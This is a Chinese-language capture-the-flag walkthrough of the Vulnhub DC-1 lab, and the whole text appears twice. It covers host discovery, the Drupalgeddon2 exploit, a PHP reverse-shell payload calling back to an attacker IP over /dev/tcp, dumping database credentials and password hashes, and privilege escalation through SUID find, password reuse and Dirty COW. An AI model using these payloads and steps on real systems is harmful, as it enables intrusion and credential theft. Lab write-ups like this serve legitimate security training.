1. 环境准备与靶机发现第一次接触Vulnhub的DC-1靶机时我像大多数新手一样遇到了网络配置的困扰。这个基于Drupal 7的靶场需要特别注意网络模式设置——NAT模式是关键。我习惯性使用桥接模式导致始终找不到靶机IP后来发现VirtualBox和VMware都需要将攻击机Kali和靶机DC-1的网卡统一设置为NAT模式。找靶机IP的过程也很有意思。很多人一上来就用nmap -sP扫描整个网段但实测发现arp-scan -l才是最快的sudo arp-scan -l --interfaceeth0这个命令能在3秒内返回结果比nmap节省80%时间。看到10.0.2.5这样的IP时记得用ping测试连通性ping -c 3 10.0.2.5如果遇到IP冲突比如多个同学在同一个局域网练习可以修改VirtualBox的NAT网络配置创建独立的子网环境。2. 全方位信息收集技巧确认靶机IP后我通常会进行三层扫描端口扫描nmap -A -T4 -p- 10.0.2.5显示开放了80端口Web指纹whatweb http://10.0.2.5确认是Drupal 7目录爆破gobuster dir -u http://10.0.2.5 -w /usr/share/wordlists/dirb/common.txt在Drupal登录页面/user/login测试SQL注入时我发现直接手工测试效率太低。推荐使用sqlmap的精准检测模式sqlmap -u http://10.0.2.5/?qnode/1 --risk3 --level5但要注意DC-1靶机其实不存在SQL注入漏洞这时候就该转向版本漏洞利用。3. Drupal漏洞利用实战通过searchsploit drupal 7查找漏洞时我发现Drupalgeddon2CVE-2018-7600是最佳选择。这里分享我的利用脚本优化技巧下载漏洞脚本后先用dos2unix处理Windows换行符修改脚本中的目标URL和回调IP使用Python虚拟环境避免依赖冲突python2 -m virtualenv venv source venv/bin/activate pip install requests执行漏洞利用时常见的报错是Target is not vulnerable这时候要检查是否使用了正确的脚本版本推荐EDB-ID-34992.py目标URL是否包含http://前缀防火墙是否拦截了反弹shell连接成功创建管理员账户后记得在Drupal的People页面验证用户权限这一步很多教程会忽略。4. 反弹Shell的三种姿势在Drupal后台获取Webshell时我总结出三种可靠方法方法一PHP Filter模块注入启用Modules中的PHP filter在Content页面创建Basic page在正文插入?php system(/bin/bash -c bash -i /dev/tcp/10.0.2.4/4444 01); ?方法二修改现有文章找到包含Flag的文章如Flag3在编辑界面切换到Full HTML格式后插入反弹代码。方法三通过Block注入Appearance → Blocks → 添加自定义Block这种方式更隐蔽。无论哪种方法都要先在Kali开启监听nc -lvnp 4444如果连接不稳定可以尝试用rlwrap增强交互性rlwrap nc -lvnp 44445. 数据库提权全流程拿到普通Shell后我习惯先升级到完整TTYpython -c import pty; pty.spawn(/bin/bash)查找数据库凭据时find /var/www -name settings.php能快速定位配置文件。关键信息通常在$databases array ( default array ( database drupaldb, username dbuser, password R0ck3t, ), );登录MySQL的技巧mysql -udbuser -pR0ck3t drupaldb查询用户密码哈希SELECT name,pass FROM users;密码破解我推荐组合使用先用hashcat识别哈希类型Drupal使用SHA-512加盐使用专用脚本生成已知密码的哈希php ./scripts/password-hash.sh 123456直接更新数据库密码更高效UPDATE users SET pass$S$DksxodL... WHERE uid1;6. 系统级提权终极方案在DC-1靶机中我发现了四种提权路径方案一SUID提权find / -perm -4000 2/dev/null发现find命令具有SUID权限时使用find / -exec /bin/sh \; -quit方案二密码复用通过数据库密码R0ck3t尝试SSH登录ssh flag4localhost输入密码后成功登录。方案三内核漏洞使用uname -a查看内核版本DC-1通常是3.x版本可以尝试脏牛漏洞gcc -pthread dirty.c -o dirty -lcrypt ./dirty方案四定时任务劫持检查crontab -l发现没有可用任务时可以查看系统日志找线索grep CRON /var/log/syslog最终获取root权限后别忘了查看/root目录下的final flag。整个渗透过程最深的体会是信息收集的质量决定渗透的深度。每个步骤发现的线索都可能成为下一个突破点比如数据库密码复用SSH这个关键转折就是通过配置文件中的注释发现的提示。
Vulnhub靶场DC-1实战:从渗透到提权的完整指南
1. 环境准备与靶机发现第一次接触Vulnhub的DC-1靶机时我像大多数新手一样遇到了网络配置的困扰。这个基于Drupal 7的靶场需要特别注意网络模式设置——NAT模式是关键。我习惯性使用桥接模式导致始终找不到靶机IP后来发现VirtualBox和VMware都需要将攻击机Kali和靶机DC-1的网卡统一设置为NAT模式。找靶机IP的过程也很有意思。很多人一上来就用nmap -sP扫描整个网段但实测发现arp-scan -l才是最快的sudo arp-scan -l --interfaceeth0这个命令能在3秒内返回结果比nmap节省80%时间。看到10.0.2.5这样的IP时记得用ping测试连通性ping -c 3 10.0.2.5如果遇到IP冲突比如多个同学在同一个局域网练习可以修改VirtualBox的NAT网络配置创建独立的子网环境。2. 全方位信息收集技巧确认靶机IP后我通常会进行三层扫描端口扫描nmap -A -T4 -p- 10.0.2.5显示开放了80端口Web指纹whatweb http://10.0.2.5确认是Drupal 7目录爆破gobuster dir -u http://10.0.2.5 -w /usr/share/wordlists/dirb/common.txt在Drupal登录页面/user/login测试SQL注入时我发现直接手工测试效率太低。推荐使用sqlmap的精准检测模式sqlmap -u http://10.0.2.5/?qnode/1 --risk3 --level5但要注意DC-1靶机其实不存在SQL注入漏洞这时候就该转向版本漏洞利用。3. Drupal漏洞利用实战通过searchsploit drupal 7查找漏洞时我发现Drupalgeddon2CVE-2018-7600是最佳选择。这里分享我的利用脚本优化技巧下载漏洞脚本后先用dos2unix处理Windows换行符修改脚本中的目标URL和回调IP使用Python虚拟环境避免依赖冲突python2 -m virtualenv venv source venv/bin/activate pip install requests执行漏洞利用时常见的报错是Target is not vulnerable这时候要检查是否使用了正确的脚本版本推荐EDB-ID-34992.py目标URL是否包含http://前缀防火墙是否拦截了反弹shell连接成功创建管理员账户后记得在Drupal的People页面验证用户权限这一步很多教程会忽略。4. 反弹Shell的三种姿势在Drupal后台获取Webshell时我总结出三种可靠方法方法一PHP Filter模块注入启用Modules中的PHP filter在Content页面创建Basic page在正文插入?php system(/bin/bash -c bash -i /dev/tcp/10.0.2.4/4444 01); ?方法二修改现有文章找到包含Flag的文章如Flag3在编辑界面切换到Full HTML格式后插入反弹代码。方法三通过Block注入Appearance → Blocks → 添加自定义Block这种方式更隐蔽。无论哪种方法都要先在Kali开启监听nc -lvnp 4444如果连接不稳定可以尝试用rlwrap增强交互性rlwrap nc -lvnp 44445. 数据库提权全流程拿到普通Shell后我习惯先升级到完整TTYpython -c import pty; pty.spawn(/bin/bash)查找数据库凭据时find /var/www -name settings.php能快速定位配置文件。关键信息通常在$databases array ( default array ( database drupaldb, username dbuser, password R0ck3t, ), );登录MySQL的技巧mysql -udbuser -pR0ck3t drupaldb查询用户密码哈希SELECT name,pass FROM users;密码破解我推荐组合使用先用hashcat识别哈希类型Drupal使用SHA-512加盐使用专用脚本生成已知密码的哈希php ./scripts/password-hash.sh 123456直接更新数据库密码更高效UPDATE users SET pass$S$DksxodL... WHERE uid1;6. 系统级提权终极方案在DC-1靶机中我发现了四种提权路径方案一SUID提权find / -perm -4000 2/dev/null发现find命令具有SUID权限时使用find / -exec /bin/sh \; -quit方案二密码复用通过数据库密码R0ck3t尝试SSH登录ssh flag4localhost输入密码后成功登录。方案三内核漏洞使用uname -a查看内核版本DC-1通常是3.x版本可以尝试脏牛漏洞gcc -pthread dirty.c -o dirty -lcrypt ./dirty方案四定时任务劫持检查crontab -l发现没有可用任务时可以查看系统日志找线索grep CRON /var/log/syslog最终获取root权限后别忘了查看/root目录下的final flag。整个渗透过程最深的体会是信息收集的质量决定渗透的深度。每个步骤发现的线索都可能成为下一个突破点比如数据库密码复用SSH这个关键转折就是通过配置文件中的注释发现的提示。